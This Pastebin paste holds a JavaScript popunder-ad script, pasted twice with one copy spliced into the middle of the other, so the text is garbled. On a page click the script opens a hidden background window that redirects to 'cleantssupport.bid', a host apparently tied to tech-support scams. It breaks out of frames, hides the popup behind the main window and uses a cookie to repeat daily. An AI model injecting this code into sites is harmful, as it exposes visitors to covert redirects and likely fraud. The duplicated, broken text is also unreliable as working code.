Guest User

Untitled

a guest
Jan 9th, 2018
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.67 KB | None | 0 0
  1. <script>
  2. function GetWindowHeight() {
  3. var a = 0;
  4. return "number" == typeof _Top.window.innerHeight ? a = _Top.window.innerHeight : _Top.document.documentElement && _Top.document.documentElement.clientHeight ? a = _Top.document.documentElement.clientHeight : _Top.document.body && _Top.document.body.clientHeight && (a = _Top.document.body.clientHeight), a
  5. }
  6.  
  7. function GetWindowWidth() {
  8. var a = 0;
  9. return "number" == typeof _Top.window.innerWidth ? a = _Top.window.innerWidth : _Top.document.documentElement && _Top.document.documentElement.clientWidth ? a = _Top.document.documentElement.clientWidth : _Top.document.body && _Top.document.body.clientWidth && (a = _Top.document.body.clientWidth), a
  10. }
  11.  
  12. function GetWindowTop() {
  13. return void 0 != _Top.window.screenTop ? _Top.window.screenTop : _Top.window.screenY
  14. }
  15.  
  16. function GetWindowLeft() {
  17. return void 0 != _Top.window.screenLeft ? _Top.window.screenLeft : _Top.window.screenX
  18. }
  19.  
  20. function doOpen(url) {
  21. var popURL = "about:blank",
  22. popID = "ad_" + Math.floor(89999999 * Math.random() + 1e7),
  23. pxLeft = 0,
  24. pxTop = 0;<script>
  25. function GetWindowHeight() {
  26. var a = 0;
  27. return "number" == typeof _Top.window.innerHeight ? a = _Top.window.innerHeight : _Top.document.documentElement && _Top.document.documentElement.clientHeight ? a = _Top.document.documentElement.clientHeight : _Top.document.body && _Top.document.body.clientHeight && (a = _Top.document.body.clientHeight), a
  28. }
  29.  
  30. function GetWindowWidth() {
  31. var a = 0;
  32. return "number" == typeof _Top.window.innerWidth ? a = _Top.window.innerWidth : _Top.document.documentElement && _Top.document.documentElement.clientWidth ? a = _Top.document.documentElement.clientWidth : _Top.document.body && _Top.document.body.clientWidth && (a = _Top.document.body.clientWidth), a
  33. }
  34.  
  35. function GetWindowTop() {
  36. return void 0 != _Top.window.screenTop ? _Top.window.screenTop : _Top.window.screenY
  37. }
  38.  
  39. function GetWindowLeft() {
  40. return void 0 != _Top.window.screenLeft ? _Top.window.screenLeft : _Top.window.screenX
  41. }
  42.  
  43. function doOpen(url) {
  44. var popURL = "about:blank",
  45. popID = "ad_" + Math.floor(89999999 * Math.random() + 1e7),
  46. pxLeft = 0,
  47. pxTop = 0;
  48. if (pxLeft = GetWindowLeft() + GetWindowWidth() / 2 - PopWidth / 2, pxTop = GetWindowTop() + GetWindowHeight() / 2 - PopHeight / 2, 1 == puShown) return !0;
  49. var PopWin = _Top.window.open(popURL, popID, "toolbar=0,scrollbars=1,location=1,statusbar=1,menubar=0,resizable=1,top=" + pxTop + ",left=" + pxLeft + ",width=" + PopWidth + ",height=" + PopHeight);
  50. return PopWin && (puShown = !0, 0 == PopFocus && (PopWin.blur(), navigator.userAgent.toLowerCase().indexOf("applewebkit") > -1 && (_Top.window.blur(), _Top.window.focus())), PopWin.Init = function(e) {
  51. with(e) Params = e.Params, Main = function() {
  52. if (void 0 !== window.mozPaintCount) {
  53. window.open("about:blank").close()
  54. }
  55. var b = Params.PopURL;
  56. try {
  57. opener.window.focus()
  58. } catch (a) {}
  59. window.location = b
  60. }, Main()
  61. }, PopWin.Params = {
  62. PopURL: url
  63. }, PopWin.Init(PopWin)), PopWin
  64. }
  65.  
  66. function setCookie(a, b, c) {
  67. var d = new Date;
  68. d.setTime(d.getTime() + c), document.cookie = a + "=" + b + "; path=/;; expires=" + d.toGMTString()
  69. }
  70.  
  71. function getCookie(a) {
  72. for (var c, d, e, b = document.cookie.toString().split("; "), f = 0; f < b.length; f++)
  73. if (c = b[f].split("="), d = c[0], e = c[1], d == a) return e;
  74. return null
  75. }
  76.  
  77. function initPu() {
  78. if (_Top = self, top != self) try {
  79. top.document.location.toString() && (_Top = top)
  80. } catch (a) {}
  81. document.attachEvent ? document.attachEvent("onclick", checkTarget) : document.addEventListener && document.addEventListener("click", checkTarget, !1)
  82. }
  83.  
  84. function checkTarget(a) {
  85. if (!getCookie("popundr")) {
  86. var a = a || window.event;
  87. doOpen("http://cleantssupport.bid/index/?FpkYQM");
  88. setCookie("popundr", 1, 864e5)
  89. }
  90. }
  91. var puShown = !1,
  92. PopWidth = 1370,
  93. PopHeight = 800,
  94. PopFocus = 0,
  95. _Top = null;
  96. initPu();
  97. </script>
  98. if (pxLeft = GetWindowLeft() + GetWindowWidth() / 2 - PopWidth / 2, pxTop = GetWindowTop() + GetWindowHeight() / 2 - PopHeight / 2, 1 == puShown) return !0;
  99. var PopWin = _Top.window.open(popURL, popID, "toolbar=0,scrollbars=1,location=1,statusbar=1,menubar=0,resizable=1,top=" + pxTop + ",left=" + pxLeft + ",width=" + PopWidth + ",height=" + PopHeight);
  100. return PopWin && (puShown = !0, 0 == PopFocus && (PopWin.blur(), navigator.userAgent.toLowerCase().indexOf("applewebkit") > -1 && (_Top.window.blur(), _Top.window.focus())), PopWin.Init = function(e) {
  101. with(e) Params = e.Params, Main = function() {
  102. if (void 0 !== window.mozPaintCount) {
  103. window.open("about:blank").close()
  104. }
  105. var b = Params.PopURL;
  106. try {
  107. opener.window.focus()
  108. } catch (a) {}
  109. window.location = b
  110. }, Main()
  111. }, PopWin.Params = {
  112. PopURL: url
  113. }, PopWin.Init(PopWin)), PopWin
  114. }
  115.  
  116. function setCookie(a, b, c) {
  117. var d = new Date;
  118. d.setTime(d.getTime() + c), document.cookie = a + "=" + b + "; path=/;; expires=" + d.toGMTString()
  119. }
  120.  
  121. function getCookie(a) {
  122. for (var c, d, e, b = document.cookie.toString().split("; "), f = 0; f < b.length; f++)
  123. if (c = b[f].split("="), d = c[0], e = c[1], d == a) return e;
  124. return null
  125. }
  126.  
  127. function initPu() {
  128. if (_Top = self, top != self) try {
  129. top.document.location.toString() && (_Top = top)
  130. } catch (a) {}
  131. document.attachEvent ? document.attachEvent("onclick", checkTarget) : document.addEventListener && document.addEventListener("click", checkTarget, !1)
  132. }
  133.  
  134. function checkTarget(a) {
  135. if (!getCookie("popundr")) {
  136. var a = a || window.event;
  137. doOpen("http://cleantssupport.bid/index/?FpkYQM");
  138. setCookie("popundr", 1, 864e5)
  139. }
  140. }
  141. var puShown = !1,
  142. PopWidth = 1370,
  143. PopHeight = 800,
  144. PopFocus = 0,
  145. _Top = null;
  146. initPu();
  147. </script>
Advertisement
Add Comment
Please, Sign In to add comment